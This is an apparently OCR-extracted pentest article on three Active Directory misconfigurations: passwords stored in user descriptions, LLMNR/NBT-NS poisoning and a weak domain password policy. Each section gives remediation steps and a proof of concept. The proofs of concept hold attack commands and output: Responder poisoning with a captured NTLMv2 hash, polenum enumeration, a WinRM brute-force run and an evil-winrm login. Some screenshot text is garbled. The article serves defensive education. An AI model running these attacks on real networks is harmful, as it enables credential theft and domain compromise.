# Most common Windows Active Directory Misconfigurations (p2)

## 1. Passwords in AD description & Password Spraying attack

- Availability: In every AD domain
- Level of Threat: Critical
- Vuln type: Sensitive Data Exposure
- Commonality of being misconfigured: medium
- Ability to secure: Yes
- How to secure: Delete valuable information from the user description
- Powershell command to verify the issue:

Get-ADUser -Filter \* -Properties Description

🔁 Windows PowerSh	rell
DistinguishedName Enabled GivenName Name ObjectClass ObjectGUID SamAccountName SID Surname UserPrincipalName	: CN=Test Test1,CN=Computers,DC=AITpentest,DC=Local : True : Test : Test Test1 : user : 686124e6-eb92-46a5-a955-a1229493f51c : test : S-1-5-21-128100368-1878378561-1114631721-1216 : Test1 : test@AITpentest.Local
Description DistinguishedName Enabled GivenName Name ObjectClass ObjectGUID SamAccountName SID Surname UserPrincipalName	: Pass: Test123 : CN=Test123,CN=Users,DC=AITpentest,DC=Local : True : : Test123 : user : 61d8cd09-9d87-4ef2-a983-d0b4dd1fabb7 : Test123 : S-1-5-21-128100368-1878378561-1114631721-1218 :
Description DistinguishedName GivenName Name ObjectClass ObjectGUD SamAccountName SID Surname UserPrincipalName Description DistinguishedName GivenName Name	: : CN=Test AIT\0ACNF:e47b1da7-d335-4f67-9b64-220948b16409,CN=Users,DC=AITpentest,DC=Local : test : Test AIT CNF:e47b1da7-d335-4f67-9b64-220948b16409 : user : e47b1da7-d335-4f67-9b64-220948b16409 : testait1 : S-1-5-21-128100368-1878378561-1114631721-1219 : ait : testait1@AITpentest.Local : : CN=John Test,CN=Users,DC=AITpentest,DC=Local : John : John Test

#### ### Attack summary

Any authenticated attacker with low privileges can expose the user list that could contain valuable information like password in the description. The list could be used for post-exploitation process, for example password spray attack, respectively privilege escalation.

## ### Proof of concept

1. Let's get the user list:

```
Get-ADUser -Properties name -Filter * | Select-Object -ExpandProperty name | Out-File
users.txt
```

Figure 2

nter Evaluation	
In. All rights res	×
PS C:\Users\Test123\Desktop> Get-ADUser -Properties name -Filter *   Select-Object -ExpandProperty name   Out-File users.txt PS C:\Users\Test123\Desktop> type users.txt Addisitates	^
Intel(R) Core(T) analysis to to Guest Guest	
And Go Hijisam Rozanne Gebit Operating ganata Aussist	
No Pen or ToucMerola Lelia Matty Belvia	
orkgroup setti Stormy Nanette	
DC01 Robby Renee Duicea Wildrid	
DC01AlTpenteStrock Florida Eilynn Salaidh Iona kakalina	
AlTpentest.Loc2Halema Marlee Julianna Donnie Adeline Kiel	
Lionello Libbi the Microsoft SBert Adel Karon May	
100-AA023 Marris Logan Marilyn Channa Odessa Lindy Gerianne Edita Benedetta Logalyn	
Ruperta Odille Eda Lanita Libbi Gwenora	
Letti Milena Robyn Chanda Brita Isobel Boita Clareta	
Edythe Adrianna Charlean Maria Charlean Maria	
Shiriine bianka Courtenay Lauren	~

2. Check the password: "Test123" on all accounts using Password Spray attack.



## 2. LLMNR and NBT-NS Poisoning

- Availability: In every AD domain
- Level of Threat: Critical
- Attack Method: Impersonation
- Commonality of being misconfigured: High
- Ability to secure: Yes
- How to secure: Disable LLMNR and NBT-NS
- Powershell command to verify the issue: manually

Steps: Run -> gpedit.msc -> Computer Policy -> Computer Configuration -> Administrative Templates -> Network -> DNS Client -> Turn Off Multicast Name Resolution

Turn off multicast name resolution	– 🗆 X	
Turn off multicast name resolution Not Configured Comment: Disabled Disabled Supported on: Options:	Previous Setting         NextSetting           fully qualified domain name ding to unqualified domain name ding to unqualified multi-lat \$5 suffix hution level           At least Windows Vista         Image: Comparison of the set of the	s Net configured Net configured
CPIP Settings     Windows Connect Now     Windows Connection Manager     Windows Connection Manager     Wireless Display	OK Cancel Apply	

## Figure 5

Concept Park + All Control Parked have - All Control Parked ha	Network and Sharing Center							G
Catel Data Data Catel Catel Catel Catel Data Data Data Data Data Data Data Dat		Panel > All Control Panel Items > Network and Sharing Center				~ Ö	Search Control Panel	
When the     Spinor test     Spinor	← → → ↑ <sup>™</sup> → Control Control Panel Home Change address stillings Change address stillings stillings	Intel - All Control Panel Items - In Network and Sharing Center         View your basic network: Information and set up         View your active network:         Control Panel Items - Information and set up         View your active network:         Control Panel Items - Information and set up         Control Panel Items - Information and set up         Charger your networking settings         Control Panel Items - Information methods         Set up a breakhand, dial-up, er VPN connecting or         Displose and repair network problems, or get troub	connections as type inclose in	X     Subset 2 Population     Subset 2 Population	X      Internet Produced Version 1(100/PAu) Properties.      Prover Network Configuration      Note on State Configuration      Note on State Configuration      South on State Accounting      Other the State Configuration      State Configur	Advanced TCP/IP Setting:     Model and the setting of the set of the setting of the setting of the set of the setting of the set of	Saach Control Pand	X B b b S

### ### Attack summary

If a windows client cannot resolve a hostname using DNS, it will use the Link-Local Multicast Name Resolution (LLMNR) protocol to ask neighbouring computers. LLMNR can be used to resolve both IPv4 and IPv6 addresses.

If this fails, NetBios Name Service (NBT-NS) will be used. NBT-NS is a similar protocol to LLMNR that serves the same purpose. The main difference between the two is NBT-NS works over IPv4 only.

#### NOTE:

For this attack type, first, the attacker should have access on the same Network. For the demonstration I used Responder (check the reference link).

## ### Proof of concept:

└-\$ sudo responder -I eth1

#### Figure 6

æ		teodor@Kali: ~	۹ :	_ 0 ×
	Serving HTML Upstream Proxy			
[+]	Poisoning Options:			
	Analyze Mode			
	Force WPAD auth			
	Force Basic Auth			
	Force LM downgrade			
	Fingerprint hosts			
[+]	Generic Options:			
	Responder NIC	[eth1]		
	Responder IP	[11.11.11.4]		
2	Challenge set	[random]		
[+] [*]	Listening for events	ent to 11.11.11.6 for name FIELSHARE (service: File Server)		
*	[LLMNR] Poisoned answer s	ent to 11.11.11.6 for name fielshare		
[*]	[MDNS] Poisoned answer sen	t to 11.11.11.6 for name fielshare.local		
[*]	[MDNS] Poisoned answer sen	t to 11.11.11.6 for name fielshare.local		
[*]	[LLMNR] Poisoned answer s	ent to 11.11.11.6 for name fielshare		
[*]	[MDNS] Poisoned answer sen	t to 11.11.11.6 for name fielshare.local		
[*]	[LLMNR] Poisoned answer s	ent to 11.11.11.6 for name fielshare		
[SME	NTLMv2-SSP Client : 11	.11.11.6		
[SME [SME 1500 0004 0400 0800 0800 [*] [*] [*]	INTLWv2-SSP Username : AT         INTLWv2-SSP Hash : AA         Description         Descrin         Description	<pre>TPENTEST\Administrator ministrator::AlTPENTEST:12acb1115d553574:8E612825C1DF42E3C902DD68A7AFEDA7:01 000002020080053004D004200330001001E00570049004E002D0050005200480034003900320 6C006F00630061006C000303400570049004E002D0050005200480034003900320052005100 1006C000500140053004D00420033002E006C006F00633061006C0007000800C0653150DE09D 00003000002DBBA4DEEB4E131330072CC882868426A6338F6993A6C62381665B82CBEB81F80A 06900650073002F0066000690065006C00730068006100720065000000000000000000000000 t to 11.11.11.6 for name DC01.local ent to 11.11.11.6 for name DC01.local ent to 11.11.11.6 for name DC01.local ent to 11.11.11.6 for name DC01</pre>	0100000000 05200510041 41004600560 20106000400 00100000000 0	000C0653 00460056 02E00530 02000000 00000000

The victim uses a wrong location into the "Explorer", he become a login request, but it is not necessary to be filled. The attack works without authentication.



Check the responder logs on /usr/share/responder/logs

## Figure 8

		teodor@Kali: /usr/share/responder/logs	۹ :	_ = ×
(teodor⊛Kali)-[/ust \$ ls -la	r/share/responder/lo	ngs]		
total 36				
drwxr-xr-x 2 root root	4096 Jun 23 05:22			
drwxr-xr-x 9 root root	4096 Jun 23 05:22			
-rw-rr 1 root root	0 Jun 23 05:21	Analyzer-Session.log		
-rw-rr 1 root root	12881 Jun 23 05:21	Config-Responder.log		
-rw-rr 1 root root	1350 Jun 23 05:23	Poisoners-Session.log		
-rw-rr 1 root root	1598 Jun 23 05:23	Responder-Session.log		
-rw-rr 1 root root	1482 Jun 23 05:22	SMB-NTLMv2-SSP-11.11.11.6.txt		

## 3. Weak Domain Password Policy

- Availability: In every AD domain
- Level of Threat: Critical
- Attack Method: Bruteforce
- Commonality of being misconfigured: High
- Ability to secure: Yes
- How to secure: Ensure a strong Domain Password Policy
- Powershell command to verify the issue:

(Get-ADForest -Current LoggedOnUser).Domains | %{ Get-ADDefaultDomainPasswordPolicy -Identity \$\_ }

🔀 Windows PowerShell		-		×	
Windows PowerShell Copyright (C) Microsoft Corp	poration. All rights reserved.				^
PS C:\Users\Test123> (Get-AL	DForest -Current LoggedOnUser).Domains   %{ Get-ADDefaultDomainPasswordPolicy		ntity <mark>S</mark>	}	
ComplexityEnabled DistinguishedName LockoutDuration LockoutObservationWindow LockoutThreshold MaxPasswordAge MinPasswordLength objectClass objectGuid PasswordHistoryCount ReversibleEncryptionEnabled	<pre>: False : DC=AITpentest,DC=Local : 00:01:00 : 00:01:00 : 42.00:00:00 : 1.00:00:00 : 4 : {dGmainDNS} : d69a2a10-615d-41e8-bdbe-8a98f74db7e5 : 24 : False</pre>				

#### ### Attack summary

Let's assume that the attacker has access to a low priv user. The attacker can disclose the Domain Password Policy which can be useful to escalate the privileges through Bruteforce attack on different services like SMB, WINRM, RDP, LDAP, etc.

#### ### Proof of concept

```
└─$ polenum --username <user> --password <pass> --domain <ip/domain>
```

```
[+] Attaching to 11.11.11.6 using Test123:Test123
[+] Trying protocol 139/SMB...
       [!] Protocol failed: Cannot request session (Called Name:11.11.11.6)
[+] Trying protocol 445/SMB...
[+] Found domain(s):
       [+] AITPENTEST
       [+] Builtin
[+] Password Info for Domain: AITPENTEST
       [+] Minimum password length: 4
       [+] Password history length: 24
       [+] Maximum password age: 41 days 23 hours 53 minutes
       [+] Password Complexity Flags: 000000
               [+] Domain Refuse Password Change: 0
               [+] Domain Password Store Cleartext: 0
               [+] Domain Password Lockout Admins: 0
               [+] Domain Password No Clear Change: 0
               [+] Domain Password No Anon Change: 0
               [+] Domain Password Complex: 0
       [+] Minimum password age: 1 day 4 minutes
       [+] Reset Account Lockout Counter: 1 minute
       [+] Locked Account Duration: 1 minute
       [+] Account Lockout Threshold: None
       [+] Forced Log off Time: Not Set
```

For example, we can see that the minimum password length is 4 which means that there could be vulnerable users.

Figure 11

└─\$ ruby winrm-brute.rb -U <user-file> -P <pass-file> <IP>

Trying	Administrator:admin		
Trying	Administrator:test123		
Trying	Administrator:password		
Trying	Administrator:123456		
Trying	Administrator:Test123		
[SUCCES	SS] user: Administrator	password:	Test123

Figure 12

L ruby /location/evil-winrm.rb -i <IP> -u <user> -p <password>



NOTE: Due to DC DNS service technical issues for this example, I could not use another windows machine.

#### **Reference:**

https://github.com/gentilkiwi/mimikatz

https://github.com/SpiderLabs/Responder

https://github.com/Hackplayers/evil-winrm

https://github.com/mchoji/winrm\_brute

https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1

https://attack.stealthbits.com/password-spraying-tutorial-defense

https://attack.mitre.org/techniques/T1557/001/

https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning/

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policysettings/password-policy

https://www.upguard.com/blog/dll-hijacking

https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking

https://book.hacktricks.xyz/windows/active-directory-methodology/dsrm-credentials